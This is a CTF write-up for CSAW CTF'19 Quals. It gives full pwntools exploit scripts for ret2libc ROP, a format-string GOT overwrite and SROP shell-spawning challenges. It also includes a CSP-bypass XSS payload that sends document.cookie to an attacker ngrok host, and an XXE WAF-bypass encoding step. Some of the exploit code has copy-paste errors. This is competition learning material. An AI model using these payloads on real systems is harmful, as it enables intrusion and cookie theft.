CSAW CTF'19 Quals Writeup

Write-up for CSAW CTF'19 Quals

This is an awesome CTF with great challenges, this CTF went crazy for our team Invaders because till the last 10 minutes we are at 3rd position in CSAW India Regional, but teams started submitting flags and they threw us to 9th position, but at that time we were working on a heap exploitation challenge and in the last second we solved it. We end up in 6th position.

Baby Boi -- Binary Exploitation

This is a pretty easy challenge we just need to use leaked printf address to calculate the libc base and then we calculate system address and /bin/sh address and finally, we have to find some ROP gadgets using that we get the shell. It took some time to exploit this because I missed that libc 2.27 stack must be aligned, so I used ret gadget to align the stack. Here is the exploit.

from pwn import *

def conn(server=1):
    if server == 1:
        return remote("pwn.chal.csaw.io", "1005")
    else:
        return process("./baby_boi", env={"LD_PRELOAD":"./libc-2.27.so"})

context(arch='amd64', os='linux')

libc = ELF("./libc-2.27.so")
binary = ELF("./baby_boi")

main = binary.symbols['main']
system_off = libc.symbols['system'] #system offset in libc
printf_off = libc.symbols['printf'] #printf offset in libc 
bin_sh = next( libc.search('/bin/sh') ) # searching for /bin/sh in libc

con = conn()
con.recvuntil("Here I am: 0x")

printf_addr = int( con.recvuntil("\n")[:-1] , 16)
print "[+] Leaked printf address : %s"%hex(printf_addr)

base_addr = printf_addr - printf_off
print "[+] Leaked libc base address : %s"%hex(base_addr)

system_addr = base_addr + system_off #calculating system addr
bin_sh_addr = base_addr + bin_sh  #calcualting binish addr

print "[+] system address : %s"%hex(system_addr)
print "[+] system address : %s"%hex(bin_sh_addr)

pop_rdi = 0x0000000000400793 #pop rdi; ret; gadget
ret = 0x000000000040054e #ret; gadget

payload = "A"*40

payload += p64(ret) #ret gadget to align stack 
payload += p64(pop_rdi)#pop rdi;ret;
payload += p64(bin_sh_addr)#rdi=/bin/sh
payload += p64(system_addr)#ret system
payload += p64(main)

con.sendline(payload)

con.interactive()

Gotmilk -- Binary Exploitation

This is a format string vulnerability challenge, so to solve this challenge we need to overwrite GOT entry of lose function which is the address in libc with the win function address which also in libc, but there is one problem we need to solve this challenge by one shot means we can't leak the libc base because only one time we can give the payload. So we need to find a one shot payload which overwrites the GOT entry of lose with win address, so if we see the address of win and lose in gdb, we just need to partially overwrite last byte of lose with 89 .

gef➤  p lose
$1 = {void (void)} 0xf7fb41f8 
gef➤  p win
$2 = {void (void)} 0xf7fb4189 
gef➤  
So our payload will be Address of lose@got + %133c$7hhn What's going on here is we found that the buffer is in the 7th position of the stack, so we are writing the address of lose@got in buffer and overwriting the last byte with
0x89 = 137 => %133c$7hhn (hnn=half of half word which is one byte, 137-4bytes of our lose@got addr=%133c). Here is the exploit to solve this challenge


from pwn import *

def conn(server=1):
    if server == 1:
        return remote("pwn.chal.csaw.io", "1005")
    else:
        return process("./baby_boi", env={"LD_PRELOAD":"./libc-2.27.so"})
elf = ELF("./gotmilk")
conn()
lose_got = elf.got['lose']

payload = p32(lose_got)
payload += '%133c%7$hhn'
conn.sendlineafter('? ', payload)
conn.interactive()

Small Boi -- Binary Exploitaion

Small Boi is an SROP challenge, I spent more time to solve this challenge because I never solved SROP challenge. Then binary is statically linked and initially, my idea is to do a basic rop which is finding gadgets to call execve("/bin/sh",0,0) but I am not able to do it, because I couldn't find enough gadgets like pop rdi; ret; which basically helps us to mov "/bin/sh" to rdi. So after spending lot of time, my friend told me that it is an SROP. What is SROP? SROP is a technique similar to Return-Oriented Programming (ROP) and is a useful attack vector when the memory is non-executable and you can’t use code injection. This requires the attacker to be able to control the call stack using, for example, a buffer overflow. So in simple words, when the kernel is delivering some signals it creates a frame on the stack and puts the values of registers, IP etc., When sigreturn is called all the values from stack frame put back into the registers without any checking. I thinking you are getting the idea. Exploit Plan: find a gadget which moves 0xb to rax and returns to syscall (0xb is sigreturn syscall number). And a fake frame with loads the registers with deadly syscall(0xb,"/bin/sh",0,0) which is execve("/bin/bash",0,0) Here is the exploit

from pwn import *
import sys

syscall = 0x0000000000400185
ret = 0x0000000000400189
pop_rax = 0x000000000040018a
pop_rbp = 0x0000000000400188
binish = 0x4001ca

buf = "A"*40
if len(sys.argv)>1:
 proc = remote("pwn.chal.csaw.io",1002)
else:
 proc = process("./small_boi")


context.arch = 'amd64'

syscall = 0x0000000000400185
ret = 0x0000000000400189
pop_rax = 0x000000000040018a
pop_rbp = 0x0000000000400188
binish = 0x4001ca
#sig framme
frame = SigreturnFrame(kernel='amd64')
frame.rip=p64(syscall)
frame.rdi = binish
frame.rsi = 0
frame.rdx = 0
frame.rax = 0x3b

#call sigreturn
payload = buf #pad  40
payload += p64(pop_rax) #mov rax 15
payload += p64(0xf) #14
payload += p64(syscall) #syscall
payload += p64(ret) #ret gadget
payload += str(frame) 



proc.sendline(payload)

Web Challenges

Baby CSP

It's a pretty easy challenge which needs to bypass Content Security Policy. This is what CSP header returns. Content-Security-Policy: script-src 'self' *.google.com; connect-src * Summary of the above header allows scrips from the same domain(self) and *.google.com, allow URLs which can be loaded using script interfaces. To bypass this either we need a script on the domain or else in the google.com which we can control the contents. :grin. Both of them are not possible you either do a subdomain takeover of *.google.com or else RCE on google and on the challenge server xD. But there is way to fool CSP, which are JSONP endpoints on *.google.com, (CSP validator to find loopholes in CSP)

Solution:

<script http:="" post="" s="+document.cookie);" src="https://accounts.google.com/o/oauth2/revoke?callback=var x=new XMLHttpRequest();x.open(" x.send="" yourid.ngrok.io=""></script>

Unagi - Web Challenge

It is a basic XXE challenge which need to bypass WAF to read the flag from the server which is at /flag.txt. Bypassing Waf: We can bypass the waf by encoding our payload with UTF-16BE. To encode we can use linux iconv
cat evil.xml | iconv -f UTF-8 -t UTF-16BE > payload.xml

Comments